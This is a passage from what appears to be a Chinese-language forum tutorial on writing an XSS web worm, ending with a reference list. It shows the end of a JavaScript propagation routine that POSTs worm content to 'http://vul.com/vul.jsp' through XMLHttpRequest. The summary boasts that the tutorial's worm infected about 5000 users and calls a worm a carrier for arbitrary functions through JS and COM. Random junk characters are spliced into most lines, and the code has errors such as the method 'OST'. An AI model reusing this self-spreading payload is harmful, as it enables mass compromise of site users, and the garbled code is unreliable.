2 C8 j5 v5 x! u9 r* ?' _xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);( A# S9 p& M( ^0 `. s
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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% b x# X5 P L% H4 [) q: ZxmlHttpReq.setRequestHeader("content-length",post.length);
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) i4 [# _9 O9 N6 U4 Q. m- B. _xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");3 q8 K, g0 V3 R
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xmlHttpReq.send(post); //把传播的信息 POST出去.- `! b% Z0 p4 {9 y7 c; K
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.; e; y& n- g5 \' t) w3 L. u# n0 u3 }" l6 c. Q
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.5 ~5 w0 ?6 y- b$ m! i8 U
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.) D, _0 ?, _2 N/ N8 L: h% I) u
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- [% U8 b3 c2 l: d x本文引用文档资料:
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
' B* o! B$ T9 aOther XmlHttpRequest tricks (Amit Klein, January 2003)# f4 B9 @$ Z( t: B$ x |
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
$ ^( `3 P3 v7 F. f3 l1 B5 r( vhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog+ n) U& b" A& S3 \; f2 U
空虚浪子心BLOG http://www.inbreak.net
) S' F; Q- N9 |4 J8 r5 KXeye Team http://xeye.us/
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